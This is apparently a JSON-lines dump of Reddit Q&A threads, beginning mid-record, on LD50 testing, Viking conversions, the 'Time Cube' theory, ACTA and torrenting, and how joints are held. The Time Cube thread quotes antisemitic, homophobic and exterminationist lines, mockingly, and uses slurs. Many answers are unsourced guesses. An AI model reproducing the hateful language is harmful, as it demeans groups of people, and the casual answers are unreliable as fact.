saying you could also get a cowlick where two whorls meet."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "96qew2", "title": "how is the lethality of a substance determined in an ethical way?", "selftext": "I recently saw a documentary and learned that the most venomous snake on earth (the Inland Taipan) can kill over 100 grown humans with its venom.\n\nHow is that figure determined? I know that it is not likely that some scientist tried to try and kill as many people as possible. So how is it done? How do we tell if something is lethal? And how do we tell how many people it can kill?\n\nWhat about a completely foreign substance? The effects of which on humans is relatively undocumented?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/96qew2/eli5_how_is_the_lethality_of_a_substance/", "answers": {"a_id": ["e42eojr", "e42esif", "e42hnnb", "e42lk7c", "e42mxzr", "e42rz3z", "e43it5e"], "score": [903, 124, 18, 21, 5, 10, 2], "text": [" >  How is that figure determined?\n\nApply carefully measured doses to a series of rats until half of your sample dies. Consult prior research where lethality in rats was compared to more analogous animals such as pigs. From this you determine the LD50, the lethal dose for half of a given population. Then it is just a matter of comparing how much venom the animal typically injects vs the LD50 amount.", "So there is something called the median lethal dose, or LD50 for short. It basically refers to the dose required to kill 50% of the population within a certain timeframe. The units are typically mg/kg (mass of toxin/mass of animal). So with this data, scientists can extrapolate how many animals it would kill within that time frame by working out the total mass of the animals and then dividing by the average mass of that animal.\n\n[here](_URL_0_) are a list of some LD50s, and from that list, you can see that most of the experimentation is done on rats and mice.", "I hope it's ok that I piggyback off this question, but how exactly does venom kill?", "A more accurate definition is it entirely depends on who decides what is unethical. There's been tons of human experimentation done that you would probably consider unethical, but people like the Nazis, China, N. Korea, Russia, the US military, the British military, the Japanese military did not. Similarly vertebrate experimentation as mentioned by Phage0070 isn't considered ethical, is often freakishly cruel to animals and would be considered animal cruelty if you did it. But vertebrate experimentation is considered necessary to get results similar to what we would expect in humans, which is why you can get required permits to do it.", "Much more to the point of your question than many of the very informative answers here, the toxicity of venom on humans is determined by collecting medical records.  This is nearly the opposite of the testing of man-made substances done on animals to determine the LD50.  Since the venom of the more common venomous animals is collected in order to produce antivenom (though recent technological advancements have or soon will obviate this need), these have been tested on animals as well, naturally, in the process of developing the antivenom. They can't follow the LD50 protocols, though--that requires having a LOT of the substance, and with snake/spider venom that's pretty much never the case.", "They keep giving incrementally larger doses to animals like rats and rabbits until they find a dose that kills the majority of the population. Called LD50 Then they use this information to find the chemical reaction that killed the animals, and determine how it worked. This is called Method of Action. Then they find the same or similar system in humans, usually from hospital data, and do the hard chemistry and physics to find a rough estimate as to the rate at which a human can take in a substance without dieing. They use similar methods to determine if a drug works, and how much. \n\nAs far as I know, there really is not \"totally ethical\" way that this can be done. Unless we start finding a way to make people volunteer to do the hard work of finding the method of action and lethal dose for the majority, we have limited options. \n\nGood news, there has been some advances in making tissue sample systems that can clue us into important information in light of sacrificing animals directly. \n\nIf you want to hurt less animals, go study cell biology and biomolecular science so that we can find new methods of determining the level of a lethal dose, and a theraputic dose. ", "So you have lethality and toxicality. I wanted to add to other comments LD50 is alright but most things we know accurately about humans we know by accident(because ya know killing mass amounts people), and things like medicines have an LD50 but more often we look at the therapeutic index. \n\nAlso a note on LD50. It's important what animal is used. Technically if we based our studies on dogs we'd see a reasonable amount of chocolate as very hazardous to humans. Similar problems arise when you use guinea pigs or rats, so the LD50 is mostly a guess extrapolated via weight. It's not very accurate however it's kind of all we have.\n\nIt's actually kind of interesting in pharmacology  therapeutic index is based off a white 25 year old male, and it's mostly recently that we've come to realize that isn't the best way to understand toxic doses as a 25 year old male has probably the highest clearance rate of any demographic. Ideally the dose is where 95% of people experience therapeutic effects without many toxic effects. We learn these through clinical trials when we can. Geriatrics and pediatrics are basically their own fields within pharmacology."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Median_lethal_dose#Examples"], [], [], [], [], []]}
{"q_id": "79303n", "title": "In the tv series \"Vikings\", the protagonist is partially converted to Christianity by a captive, how common was this?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/79303n/in_the_tv_series_vikings_the_protagonist_is/", "answers": {"a_id": ["doyqm3t"], "score": [5], "text": ["I am not aware of any primary sources that depict this manner of conversion.  The primary ways that Christianity spread through the Norse was through \"forced\" conversion of the rulers as a condition of peace  or through missionizing campaigns.  The Great Heathen Army was supposedly dispersed after Alfred the Great oversaw the baptism of it's leader Guthram, according to Alfred's biographer Asser.\n\nNow that is not to say that there is no precedent for conversion through the private or domestic sphere of life.  The first Christian king of the Anglo-Saxons was converted by his wife, according to Bede, who was herself a Christian.  He also mentions it working the opposite way in the case of a king from East Anglia."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "pw2tv", "title": "time cube theory?", "selftext": "_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/pw2tv/eli5_time_cube_theory/", "answers": {"a_id": ["c3sov0p", "c3soyls", "c3sp1p5", "c3sp36b", "c3sp3ol", "c3sp5yd", "c3sp680", "c3spij2", "c3spsyh", "c3sptuh", "c3spwgk", "c3sq3g8", "c3sq466", "c3sq56x", "c3sq6at", "c3sqccm", "c3sqhi0", "c3sql2h", "c3squ7c", "c3squuj", "c3sr0f7", "c3sr461", "c3sr66q", "c3sr8uq", "c3sra0s", "c3sriw6", "c3srla9", "c3srmem", "c3srpi9", "c3srv32", "c3ssaax", "c3sssns", "c3sstaf"], "score": [76, 34, 29, 29, 105, 192, 44, 19, 142, 6, 6, 3, 3, 9, 2, 28, 7, 5, 2, 6, 27, 2, 2, 3, 8, 2, 2, 2, 3, 2, 2, 2, 2], "text": ["I asked the same EXACT thing like a minute after you.   & #3232;\\_ & #3232;\n\n\nAlso deleted mine and upvoted yours since you beat me to it.", "WHAT did I just read?", "_URL_0_\n\nBasically, Sun up, sun set, midday and midnight are occurring all at the same time because there are 4 different simultaneous days, or at least that what I get out of that.\n", "A loud crazy dude. He says that at any given time, the four sides of Earth (?) are experiencing four different days, implying that if today is Monday, the opposite side of the world is Wednesday. That is just untrue.", "I think we are all too **retarded ** to understand the *MAGNIFICENT  &  SUPERNATURAL* power that is the **TIME CUBE**.  This of course is because **of all human\nexistence has been lobotomized by the evil\nacademic singularity bastards hired to\ndestroy your ability to think opposite.**", "A crazy old man (\"Dr.\" Gene Ray) who calls himself the \"wisest human\" believes that everyone else is extremely stupid and that he has discovered how the world works (4 simultaneous days are occurring at all times; he even places different people in different days). It makes no sense. He's been [interviewed](_URL_0_) before; he once offered some Harvard professors $10,000 to disprove his theory, and he relishes in the fact that they didn't respond to him. He once gave a talk at MIT. Of course, everything about the theory is ridiculous, and his anti-Semitic, racist website doesn't help his credibility.", "LSD is a Hell of a drug.\n", "I just scrolled to the bottom and I thought I saw the words dead jew, queer, and AIDS... but I was wrong, he didn't say AIDS.", "oh dear god. years ago, when I was in college, the good doctor came to speak at my school (Georgia Tech). He complained that the staff at Harvard was too afraid to debate him. It was a mixture of hilarity and sadness, because the guy seemed genuinely crazy...but still in that funny way. Just to clarify, he was invited by some student group (I don't recall which one) as a means to make a mockery of him by allowing him to speak on his theories and just look like the crazy, racist asshole that he is.\n\nGene - \"A CUBE HAS FOUR SIDES. A top, bottom, and four sides.\"\n\nstudent from audience - \"But that's six sides.\"\n\nGene - \"No. You don't understand. Four sides\"\n\nohhh boy.", "I think the only answer is, \"Because he is a crazy man. You should stay FAR away from him\"", "Doubtful. You can, however, listen to a 4 hour interview with Gene Ray TRYING to explain it and sounding like he's five [here](_URL_0_), in April of 2005, Prima Vera Angelhair of Radio KoL interviewed him about the Time Cube theory. Listen carefully else you be educated stupid.\n(edited for correct date)", "And yet, _URL_0_ is the one they shut down. ", "I am educated stupid.", "Well, some people are just bat-shit insane. /end", "Say, I just saw this on another post on reddit just a minute ago, someone beat me to the ELI5 before I did.", " > Before Time Cube, Otis E. Ray advocated the sport of marbles. He authored a book titled Mr. Marbles \u2013 Marbles for Everyone,[11] and got the city council of St. Petersburg, Florida to proclaim a \"Marbles Week\" in the 1970s. _URL_0_\n\nI guess you could say... *he lost his marbles.*", "I'd like to add to the thread [technobabble](_URL_0_). It's often used by scientific hacks to make it sound like they know what they are talking about and, once they retain followers, just as time cube has, said followers continue the cycle.", "\"It Is The Absolute Verifiable Truth  &  Proven Fact\nThat Your Belly-Button Signature Ties \nTo Viviparous Mama.\" WTF?? ... ", "I'm surprised the whois isnt more crazy. I do note client transfer prohibited though. perhaps someone is actually forcefully keeping it there? ", "\"I have so much to teach you, but \nyou ignore me you evil asses. \nYou will recognize 4 corner Days \nor incur Easter Island Ending.\"\n\nOh god no. Not Easter Island Ending! Save us cube master!", "I ~~read~~ skimmed through this(there are fucking TWO pages of this nonesense)Here are the basic tenets of Cubicism.\n\n**1.)You are bigger than a god.\nBut you are retarded.\nYou are magnificent and supernatural. You have a lot of potential,but educators have ruined your mind.** \n\n > *You have a god like brain -\nparallel opposite  &  analytical,\nwasted if you believe in ONE.*\n\n\n\n**2.) The earth is basically a four piece rubiks cube, and all the pieces roates simultaneously. They each have their own unique time.**\n\n > *I am a Knower of 4 corner\nsimultaneous 24 hour Days\nthat occur within a single\n4 corner rotation of Earth.* \n\n\n**There are 2 major corners and two minor corners of the earth. The mom/dad corners, and the son/daughter. This isn't taught in evil oneism.** \n > *which VOIDS Families. \nSeek Wisdom of Cubic Life\nIntelligence - or you die evil.* \n\n**Okay then...**\n\n\n**The four corner days proves that the one day god is evil.**\n\n**All of this is extremely simple math. Americans who don't know about the TimeCube should be exterminated. \nIt is not immoral to kill Unbelievers. It is for the sake of humanity. Also, Greenwich Mean Time is a lie. **\n\n\n\n**3.) ONE does not exist, it is an evil lie.\nONEism, is taught in schools.** \n\n**ONEists are like a cyclops, in that their perspective is messed up.  and this perspective, and I quote...** \n\n > *inflicts static non pulsating logosas a fictitious queer same sex transformation.*\n\n4.)**Every thing is made of +0- antipodes.\nThere is never just one of anything. Everything has it's own negative copy, anti-side, or \"antipode.\" So instead of writing it as 1, like there is one dog. You would write it as there is +0- dog.**\n\n > *MY WISDOM DEBUNKS GODS OF\n ALL RELIGIONS AND ACADEMIA.*\n\n\n\n\n\nHe says a  lot to the effect of...Anyone who does not believe in ONEism IS A HORRIBLE EVIL PERSON. THEY ARE THE DEVIL THEY ARE RETARDED AND SHOULD DIE. THEY DO NOT DESERVE TO LIVE ON THIS PLANET. ALSO I AM THE SMARTEST PERSON EVER. I AM WISER THAN ALL RELIGION AND SCIENCE. \n\nSo, basically that is The Time Cube theory. I didn't really delve into it, but I skimmed it for basic information. (I had to copy and paste it into txt just so I could read it. That formatting was atrocious, and made the page about 5 times longer than it needed to be.) It might not really b e ELI5, but I tried to at least make a TL;DR.\n\n**Some Interesting quotes I noticed.** \n\n > *If a Man cannot tear a page\nfrom the bible and burn it -\nthen he cannot be a scientist,*\n\n > *Santa  &  God debase women\nas if non-existing opposites.\nHow evil unto their mothers.\nSingularity educators are evil\nbastards unfit to live on Earth,\nfor they create evil students -\ntotally ignorant of Time Cube.*\n\n > *What queer mentality you\nhave --- to worship an old\ndead Jew as God/Creator.*\n\n > *The primary purpose for\nEducation is not Subject\nmatter, but subservience\nto accept any crap taught\nwithout opposing thought,\ndestroying opposite brain\nto be submissive android.\nYou're taught to be stupid.*\n\n > *Word God is Bad Math\nMATH SHOWN HERE IS\nFAR SUPERIOR TO GOD\nAND CHRISTIANITY. USE\nIT TO SAVE HUMANITY.*\n\n > *I am organizing Children to\njoin \"Cubic Army of 4 Days\"\nto convert Evil 1 Day Adults\nto 4 Day mentality existence,\nto serve perpetual humanity.*\n\nWTF. If this last one is true, someone please rescue these children!\n\n*EDIT: I used the last name Tennant instead of the correct word I was looking for, which was tenets. Sorry if I confusd any David, Victoria or any other Tennant fans. Especially sorry to anyone who is reading with the last name Tennant.* \n", "There was a documentary, or series of interviews of Gene Ray by one of his believers, an Australian young man, on youtube. It was quite interesting and funny at times. However, Gene Ray turned his back on him I think. It ended very sadly and the young man committed suicide.\n\nVideo series: _URL_0_", "Does anyone else's mind tingle strangely reading his blather? it's like, I can't handle the crazy.", "1.Its so poorly presented! OMG! wtf ?! I couldn't bear looking at the page for more than ten seconds!\nIf it really is a \"credible theory\", then the author should:\n\n1. Change the fuckin fonts\n\n2. Change his writing style\n\n3. Learn sentence structuring  &  formation\n\n4. Develop good articulation skills\n\n5. Write with a logical flow\n\nto be considered seriously. \n\nPeople if you think you have made an intellectual leap, at least have the courtesy and decency to articulate your ideas properly. If you cannot articulate well you're no different from a mad-man.\n\n2.Don't waste your time reading nonsense like this OP. Here's a better way to exercise and expand your mind. Read [this](_URL_0_) instead. Its a great place to start.", "Wait. This is /r/ELI5? Judging from the website, I thought I was in /r/fifthworldproblems ", "AARRRRGH IT HURTS MY EYES!", "That site sucks. Really. Don't go there. ", "AMA request?\n\nThat way those of us who have the foolish energy can debate right him.\n", "As far as I can tell, it's just an elaborate attempt by the author to justify his racism. The four \"sides\" (races) of the cube (top and bottom are ignored for unexplained reasons) are supposed to be kept separated for existence to function properly. He justifies his ideas by insisting that no one has disproven him yet. Of course no one *can* disprove him because there's no real logic or data to disprove. He just talks in circles. He \"wins\" his arguments with people by insisting that he has proven his theory and that they are just \"dumbasses\" who don't understand it. \n\nIn short, there's really no reason to pay any attention to him unless you'd like a good laugh. ", "I'm guessing it's the grandaddy of elaborate troll sites. He even offers $10,000 if you can disprove his theory, which, since the theory is completely nonsensical, is a pretty safe bet.  ", "One genius whackjob's ever-evolving rant. Extremely entertaining IMO.", "Sounds like the beginnings of a suicide cult.", "Time cube theory as I understand him,  is that there is no singularity ( in religion or science ..god, big bang, gravity, etc, etc), and that the universe is a binary/cubic system.\n\nps. This was the actual question. NOT...what do you think of the person who invented time cube, because that's what most of the answers ( reddit train) here seem to be about.....;)"]}, "title_urls": [], "selftext_urls": ["http://www.timecube.com/"], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Time_Cube"], [], [], ["http://www.youtube.com/watch?v=Tn2UCqL5qyo"], [], [], [], [], ["http://ice.coldfront.net/kol/radio/PVA_Gene_Ray_Interview.mp3"], ["Megaupload.com"], [], [], [], ["http://en.wikipedia.org/wiki/Time_Cube"], ["http://en.wikipedia.org/wiki/Technobabble"], [], [], [], [], ["http://www.youtube.com/user/Pyramid0rz"], [], ["http://www.gutenberg.org/files/1497/1497-h/1497-h.htm"], [], [], [], [], [], [], [], [], []]}
{"q_id": "pcxjy", "title": "what exactly will happen to torrenting now that acta has been signed.", "selftext": "Torrenting is obvious counterfeiting \"intellectual property\", so how exactly would ACTA go about stopping it?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/pcxjy/eli5_what_exactly_will_happen_to_torrenting_now/", "answers": {"a_id": ["c3od0no", "c3odqnq"], "score": [3, 3], "text": ["No, it's not. What's going to happen is the same thing that has always happened. ", "From what I understand, ISP will block access to the websites that are providing copyright infringing links. \nIt will be really easy to work around it though by the use of proxies that connect through ISP that didn't block the website although transfer speeds will drop down significantly.\n\nIt will really affect ISP's and computer illiterate people most. Unfortunately for entertainment industry there is no stopping piracy, ever. They can only slow it down. Even if they block everything someone will create new ways of sharing links anonymously with decentralised servers on the encrypted networks like TOR."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2yaux1", "title": "why do people usually hold tobacco cigarettes between their index and middle fingers, but hold marijuana cigarettes using their thumb and index fingers?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2yaux1/eli5_why_do_people_usually_hold_tobacco/", "answers": {"a_id": ["cp7t4e0", "cp7t73z", "cp7t9wm", "cp7th1s", "cp7tpic", "cp7xb3f", "cp7ypg5", "cp7yvke", "cp7yze5", "cp7zgzx", "cp805ui", "cp80l95", "cp80o4f", "cp80xv3", "cp81c3u", "cp81cmp", "cp81crm", "cp81rx9", "cp81ztu", "cp834fy", "cp83n6d", "cp83pgv", "cp8468z", "cp84edk", "cp84l5n", "cp84rrd", "cp858g9", "cp85a81", "cp85fzy", "cp85yxn", "cp86osn", "cp87swy", "cp8852u", "cp888gm", "cp88a56", "cp88fvr", "cp88j2t", "cp88nae", "cp88ux0", "cp89cr9", "cp8af5w", "cp8bzfk", "cp8c0fa", "cp8c6do", "cp8c7xu", "cp8catf", "cp8ckje", "cp8dq55", "cp8dswj", "cp8du1i", "cp8e2id", "cp8emjk", "cp8f2y6"], "score": [6, 1081, 224, 12, 3097, 3, 23, 3, 10, 2, 4, 2, 2, 2, 2, 3, 28, 2, 2, 2, 2, 3, 3, 2, 3, 3, 2, 2, 4, 16, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 6, 5, 2, 2, 3, 6, 2, 2, 3, 2, 2, 2], "text": ["Pretty sure it has to do with cigarettes being made more sturdily and more like a perfect cylinder, also thinner.joints are self rolled and tend to be sorta fragile, except for the filter ( which is where you inhale. So, they're joints are held there for a more sturdy grip and because they're more bulky. Just my guess.", "My first thought is that one does not usually share a cigarette, commonly.\n\nSecond is a joint isn't as tightly rolled as a cig, so thumb and forefinger carries more dexterity, so you don't mangle the doob.", "You have to be a bit gentler with joints because they aren't usually held together as well as a cigarette. Joints aren't packed as tight so they can be kind of squishy and if you flicked it like a normal cigarette you might end up dropping some (probably burning) pot from the tip. The filters also aren't as big so you end up smoking it closer to the end.", "Cigarettes are:\n\n* longer\n* professionally dried and processes\n* expertly rolled and packaged by a machine\n* have filters\n* are easier to inhale\n* legal\n\nThat makes them easier to hold, and your fingers never have to get near the burning bits.  It also makes it easier to smoke down to the last bit without straining, and even if you don't get it all, it is not that big of a deal.  All of these allow for a more casual grip.\n", "It's because if you hold a joint with your index and thumb finger you can smoke it all the way down to nothing without burning your fingers opposed to the cigarette way. Since a cigarette has a filter you have space for your fingers.\n\nEDIT: Punctuation. ", "1 you pass a joint (makes it easier to do so) 2 you can easily kill it (roach) 3 joints are looser, you don't wanna crush that baby (thumb and index grip it gentler.)", "Everyone is answering why they need to hold a joint with the index and thumb. So why not hold cigarettes like that too?  I know you don't have to, but why don't you?  Why hold it between index and middle?", "I'm willing to bet it has something to do with the inhale techniques involved in both practices. Cigarettes are usually smoke (dragged) in to the mouth then inhaled into the lungs. A rolled cigarette is usually smoked (dragged) inhaled directly into the lungs (think sucking air through a straw), the direct inhalation of smoke of any kind into the lungs is only possible by mixing in some air during the inhale. \n\nSo with that being said.. I think the index/thumb grip is must easier to control the supplement air being sucked in through and around the fingers,thus resulting in less hot hits and coughing fits. \n\nI do know there are a few exceptions to the rule and people are capable of direct inhaling both regular cigarettes, weed, and other various types of combustible substances. ", "You're halfway right guys, \nThe blunt for the obviously \"smoke all the way, reasons. But the cigarette for \"multitask\" reasons.\n\nWhen smoking a cigarette, it's rather cheap. So people moved to multitasking while smoking, and the way to have the most fingers available is using the middle and ring finger.\n\nSecond, weed is more of a conversational smoke, where as every hit counts to a lot of people \"outside of Colorado\". If someone is \"babysitting\" the blunt, most poeple people would get angry at that \"blunt hog\", and if they killed the blunt for taking to long to hit, then they're getting skipped.", "its for passing joints and smokin them down to roaches. so no party foul occurs. when the joint is passed the recipient only has to point out his index finger and you pinch it off to him with your index finger.\n ", "Cause weed is more expensive and you can get a better grasp on your joint by using the most handy instrument on our body. The thumb. No one cares if they drop a cigarette, but almost every pot smoker cares if they drop a 10 dollar joint. Blaze on... To the left", "You usually pass the join around, so you need a good control from your opposing thumb. When you smoke cigaret you usually don't need to pass out around so you just free up your thumb for other things", "I don't know what you're talking about. I hold both with my upper and bottom lip.", "bec sharing it with friends is easier when u r holding it with thumb and index", "Cigarettes have filters that stop burning embers coming through and burning your lip, joints usually have no filter to stop the embers, so to negate this you can pinch the end of the joint with your thumb and index finger and avoid getting burned on the lip. Thats why I do it anyway.", "It's easier to pass a joint to someone else when you hold it between the thumb and index.", "Part of it is psychology. If you look at military members smoke, they generally hold it the same way as a joint. \n\nThe way your mind works is that it is easier to hide it holding it with your thumb and index finger, hiding the lit end with your hand. \n\nIt is generally more accepted to smoke cigarettes, so there is no need to hide. Those smoking marijuana are subconciously trying to hide it.\n\nMilitary members will smoke cigarettes when they are not supposed to, and in the field where a lit cigarette can give away your position, it becomes habit to try and hide that end.", "A cigarette is much more firm (it was rolled in a factory) and a joint is normally less firm (hand rolled). The index-middle finger grip is shakier but cigs are so tightly packed nothing's gonna fall out. A joint on the other hand, some weed might fall off of the shaky joint ur holding, and index-thumb gives more grip. Engineering dude", "Size, shape, weight and durability.  Most cigarettes are manufactured so are more robust.  Joints are normally hand rolled so they need to be held more carefully.  I'm sure if you watch someone smoke 'roll your own' cigarettes they will hold them in a similar way to a joint.", "Also it's easier to pass a joint if you hold it like that.   It's a social thing. ", "Cigarette filters are very sturdy and \"thumb flick\" easy without the worry of your cherry falling out/tobacco getting in your mouth/on your lips. Joints, on the other hand, *usually*, don't have a filter/sturdy tip to flick with your thumb. As well; it's \"easier\", if you will, to pinch the end, creating a sort of lip to hold on to, while your lips create a more secure seal to actually hit said joint. Does that help at all? ", "Hey!  \nLong time user and questioner of everything.  \nThe main reason is probably the filter. Cigarette filters are usually longer and have enough space to be placed freely between index and middle, while marijuana filters (if any - a lot of places in South America don't use filters) are commonly shorter, requiring a more precise pinch to avoid getting burned.  \nI hope this helps!", "Because cigarettes have filters so you can let it but. all the way down between your pointer and middle finger. Joints (Marijuana cigarettes) usually don't have filters, as well as since the user doesn't want to waste and of the cannabis they will use their nails/tips of fingers to smoke the roach (end of a joint) down to the very last hit. That dexterity cannot be reached without the use of the thumb.\n\nSource: I'm high right meow", "No. It's the roach! When you smoke a cigarette, it usually has a filter which you may or may not smoke down to. The joint didn't used to have those spacers (or whatever they are called), so to get the most out of it you would smoke down as far as possible. In lieu of hemostats and/or roach clips you had to pinch part of the paper to hold it. So as not to burn your fingers off while getting that last, sweet hit full of build-up from the rest of the joint. Two fingers are also not considered paraphernalia if caught with them.", "Dutch guy here, the tip of a joint is much stronger then lets say a normal cig. And then you can smoke it all the way towards the tip without burning ya fingers or fucking up the doobie", "Because joints are fragile and soft to the touch, they require more control to not be pinched or crushed. \n\nCigarettes i hold between index and middle finger because theyre sturdy and the other 3 fingers can still be used for other tasks", "Because its easier to pass around a circle using the the thumb and index finger since you can rotate it better for a better grip, etc.", "The difference was already explained, but there's more ways to hold a cigarette. \n\nSuch as between the index and thumb like in an ok sign as well as holding it between the index and middle finger with the palm facing away. The former is often used when wearing gloves since it minimizes the large contact area, the middle finger flicks gently at the butt to send the ash off and flying. The latter, the palm serves to shield from the smoke and moving the index and middle up and down the butt and smacking it against your thumb also pops some ash off. \n\nThere's also holding it between the middle and thumb fingers and using the index to tap the filter. It gives off a classy feel and poise, the raised fingers also help shield from the smoke. \n\nSource: I'm a long-time (18 years and counting) smoker and my grandfather, who smoked cigars, cigarettes and pipe (plus other stuff in his youth) taught me all of this. ", "There are many reasons. Your hand shields a joint from the wind and rain, you can better pass the joint, and it allows the joint to be smoked to completion (though for this most prefer a roach clip). Other reasons include that if the fuzz rolls by its faster to just turn your hand over and pretend you're not holding a joint, that it makes it clear that you're down in case someone wants to circle, and most importantly that it's harder to forget mid-sesh that you have a joint in your hand. That last one happens more than you'd think. You start to wonder where that dank smell is coming from and then you see smoke and start zoning out thinking about where that smoke is coming from before ultimately realizing that your jay has left you behind and you've sacrificed a quarter of your joint to the gods of the sky, whoever they may be. ", "Tobacco cigarettes aren't often passed between friends, unlike those rolled with Cannabis.  The thumb and forefinger grip makes passing easier.\n", "At the beginning it doesn't matter too much unless said smoker squeezes the hell out of it like he's holding a filter. But towards the end the end you hold becomes sticky and clogged with resins, so pinching a side with your pointer/thumb allows you to open it up. Letting you smoke it down to a stinger.", "Something nobody has pointed out yet, is that we do it this way because that's how they do it in the movies and we just assume that's how it's done. There is no real reason to holding one or the other differently. It's more a question of circumstance, do I need my thumb at the moment for something else, like holding something, or do I want to shelter the lit end in the cup of my hand, e.g. from rain, wind or prying eyes? ", "Cigarettes when held between index and middle fingers tend to then hang horizontally. Due to the conical shape and length of a joint it will often lack the structural integrity of a cigarette and would bend if held in this manner. Holding a joint between a thumb and index finger results in the joint being held vertically thus negating this problem. In addition, when held in this manner a join can be obscured from view by surrounding it with your remaining fingers therefore making it a more discrete method of consumption. ", "I know this! I know this!!! Because you have to pass a joint! It's a lot easier to pass it between thumb and index.", "Dude, all of these guys giving reasons are full of balogna. Ive seen both held both ways interchangeably even by the same person. ", "I think it's a combination of size and construction quality and materials.\n\nCigarette : It's size in diameter is compatible to a wooden pencil. It's manufactured out of a paper that is somewhat thick, not folded and therefor not flimsy. The tobacco in the cigarette is cut and lined in vertical position, given the cigarette even more strength against folding. In addition to this you also have a pack of cigarettes so you generally care a bit less about 1.\n\nJoint : All sizes and all shapes, typically rolled from a thin rolling paper. The rolling process usually creates a bunch of small folds in the paper making it flimsier. Also the filter, if any is usually just a short peice of rolled cereal box cardboard stuck in one end, practically ready to fall at any moment. So that adds the incentive to pinch it while smoking. Also the materials, cannabis is buds dried or semi-dried generally busted to 5mm peices but can be even finer if the bud is dryer. This also affects the rolling of the joint and its final flimsiness. In addition to this you spent time rolling it, and it costs more then a cigarette so you generally care more about it.\n\nIf your looking for stiffer paper to roll a joint with, and be able to smoke it with more confidence between your index and middle fingers rather then pinching, I recommend a thicker paper like ZigZag's waterproof. And while rolling keep it as tight as possible without creating any 'microfolds'.", "Personally, it's because a cigarette is something I'm spending 6 minutes holding and I want to use my thumbs for phone/drink/etc. Holding it that way lets you use both hands to an extent.\n\nWith a joint, a lot of times it's getting passed around and stuff so the easiest thing to do is hold it the way you received it, between your index and thumb. I'll actually hold it like a cig if I'm smoking alone. \n\nPlus the filter on a cig prevents it from burning your fingers, with a joint you gotta hold it with more precision when it burns down.", "User of both here. I never hold my Joint or Cigarette with my thumb and index finger, I always hold it with my middle and index. How would you flick the ash? Pat it down with your 3 remaining fingers? That just sounds uncomfortable.", "It's easier to smoke and pass, although I got into the habit of holding everything I smoke with my index finger and thumb..even cigarettes lol. ", "It's because its easier to pass with the thumb and index, when you smoke a cigarette it's usually for yourself, maybe one other, unless you're like 14.", "First, that depends on a few things. Lets consider a standard joint vs a standard cigarette. A standard hand-rolled joint will not contain a filter unless you are Chris because Chris is the master at that. When the rolled joint does not have a filter the end will be fragile, expecially once you start smoking it and saliva and resin accumulates at the tip. Now, when you consider its fragile state you have to decide the best way to hold it. At first you may see a few seasoned smokers use their first two fingers and smoke it like a cigarette. The reason is that it is not likely going to cause any harm to the joint. Once it is less than half smoked, most people resort to the finger and thumb techinique because they have better control of the pressure they place on the tip of the joint. This keeps it from being compressed and sealed off from a resin buildup. You can also avoid the concern with placing a card paper \"filter\" at the end. This not only prevents the concern for sealing off the tip and causing your stoned self to become frustrated-it also saves you from putting marijuana at the end and creating a roach. What I mean is that it eliminates waste and your buddy Oscar wont ask to keep your roaches. Also when your joint gets smaller (using the thumb and pointer finger), the hand is facing in a way that you are holding up several fingers in front of your face, palm out. This keeps smoke from hitting your eyes. A lot of times you see people squinting and head tilted while they take a drag. This isnt to look cool. Its so the smoke doesnt hit your eyes. Placing the filter on the end helps to avoid having to do the classic stoner pose. \n\nTL:DR it is held that way because reasons. \n\nSource: Former pothead. ", "Cigarettes have a filter so there's enough space to hold it any way you want. The most natural way to hold it is with index and middle fingers. \n\nJoints are smoked all the way down until they are a small nub (a \"roach\"). This behavior is a function of the costliness of marijuana. Also, joints are hand rolled so there are no filters; I think a cigarette filter is probably 1.5-2 cm long. It's easiest to hold something as small as a roach with the thumb and index.  \n\nAlso, cigarettes aren't generally passed around, whereas joints are. If you're trying to grasp a tiny half-burned joint from somebody you're not going to do it with your middle fingers, you will have more dexterity if you use the index and thumb. Try this yourself: take a tiny object from your right hand to your left - how do you grasp it?", "As a smoker and past weed smoker... With a cig,  you can ash without worrying about the tobacco coming out because it's packed  neatly..  Weed out  the other hand is not often packed well and if you ash it with your thumb,  the cherry comes off and you have to relight.  Notice how one ashes weed they roll it off the tip like a cigar to keep the cherry on", "Did you really just fucking call it a marijuana cigarette", "I figure it probably has a lot to do with the fact joints are passed, imagine trying to do that shit with your middle and forefinger. ", "I am subscribed to this sub because I have wondered about this.", "when you smoke a joint and hold it with the thumb and index fingers you can hit it with out your mouth making contact with the joint resulting in safer use with others. Another reason is that its easier to pass with those fingers were as the cigarette method is awkward to pass. Typically joints are being shared while cigarettes are not, which results in the different ways of holding them.", "This isn't gonna be easy for me to explain. Let's grab some props. ", "because cigs kill and weed is ooook. get it?", "I would think the obvious answer is passing. Joints typically get passed around. Try passing one between your index and middle. Cigs don't usually get passed.", "It's a smoking trick. Sometimes, resin blocks the airway that you hitting it from and you take a corner/side and pinch it. Then push the other side into where your fingers are until it's able to be smoked upon once more.\n\nSource: used to smoke the potdoobiguanas", "I guess the most reasons are already mentioned. \n\nI'm a smoker and in my youth I have also smoked a joint once in a while in my youth. Anyway. \n\nOne reason to hold a joint between the thumb and index finger might be the reason that joints are usually smoked without a filter such as most cigarettes have. \n\nWith a filter it's relatively unproblematic to hold the cigarette between the index and middle finger. Because those aren't getting hot. That's different with joints or stickies (which are sometime smoked with tweezers). They don't have a filter. And due to the cone form they tend to get pretty hot at the end, as a chimney does, you might even burn your fingertips or lips a little.\n\nMost potheads are rolling their joints with small filter tips... which are actually not really filters, it's only a small piece of heavy paper, rolled into a cylindrical shape and has mostly the purpose to prevent burning the fingertips / your lips. \n\nIn general, due to the callosity of the thumb, it's less sensitive to heat. That holding position between the tip of your thumb and the tip of the index finger has less contact area than holding it between the flanks of the index and middle finger. Which is generally less controllable. That being said, if you need more control. You'll automatically use the tips of your thumbs and index finger. More control. An a bit less sensitive to heat.  